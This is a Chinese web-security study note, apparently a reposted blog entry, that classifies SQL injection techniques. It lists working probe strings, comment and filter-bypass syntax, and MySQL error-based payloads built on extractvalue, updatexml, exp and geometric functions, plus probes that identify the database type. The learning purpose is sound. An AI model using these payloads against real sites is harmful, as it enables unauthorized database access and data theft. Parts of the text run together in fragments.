Web安全学习笔记 SQL注入上
繁枝插云欣 ——ICML8
SQL注入是一种代码注入技术用于攻击数据驱动的应用程序在应用程序中,如果没有做恰当的过滤则可能使得恶意的SQL语句被插入输入字段中执行例如将数据库内容转储给攻击者
根据使用的技巧,SQL注入类型可分为:
1.盲注
布尔盲注:只能从应用返回中推断语句执行后的布尔值时间盲注:应用没有明确的回显只能使用特定的时间函数来判断
2.报错注入
:
应用会显示全部或者部分的报错信息
3.堆叠注入
:
有的应用可以加入后一次执行多条语句
4.其他方法
根据获取数据的方式分为3类:
1.inband
利用Web应用来直接获取数据如报错注入这类注入都是通过站点的响应或者错误反馈来提取数据
2.inference
通过Web的一些反映来推断数据如布尔盲注,也就是我们通俗的盲注通过web应用的其他改变来推断数据
3.out of band (OOB)
通过其他传输方式来获得数据比如DNS解析协议和电子邮件
GET/POST/PUT/DELETE参数X-Forwarded-For文件名
' / "1/11/0and 1=1" and "1"="1and 1=2or 1=1or 1=' and '1'='1+ - ^ * % /<< >> || | & &&~!@反引号执行
@@version@@servername@@language@@spid
例如
http://www.foo.com/index.asp?id=12+union+select+null,null--
不断增加 null 至不返回
select 1/0
select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a
extractvalue(1, concat(0x5c,(select user())))
updatexml(0x3a,concat(1,(select user())),1)
exp(~(SELECT * from(select user())a))
ST_LatFromGeoHash((select * from(select * from(select user())a)b))
GTID_SUBSET(version(), 1)
5.1. 基于geometric的报错注入
GeometryCollection((select * from (select * from(select user())a)b))
polygon((select * from(select * from(select user())a)b))
multipoint((select * from(select * from(select user())a)b))
multilinestring((select * from(select * from(select user())a)b))
LINESTRING((select * from(select * from(select user())a)b))
multipolygon((select * from(select * from(select user())a)b))
其中需要注意的是,基于exp函数
的报错注入在MySQL 5.5.49
后的版本已经不再生效,具体可以参考这个 commit 95825f
。
而以上列表中基于geometric
的报错注入在这个commit 5caea4
中被修复,在5.5.x较后的版本中同样不再生效。
;select 1
#--+/*xxx*//*!xxx*//*!50000xxx*/
是否有trunc是否过滤某个字符是否过滤关键字slash和编码
1.判断数据库类型
and exists (select * from msysobjects ) > 0 access数据库
and exists (select * from sysobjects ) > 0 SQLServer数据库
2.判断数据库表
and exsits (select * from admin)
3.版本、主机名、用户名、库名
4.表和字段
确定字段数
Order BySelect Into
表名、列名
文件操作
读敏感文件写shell
带外通道
网络请求
手机扫一扫
移动阅读更方便
你可能感兴趣的文章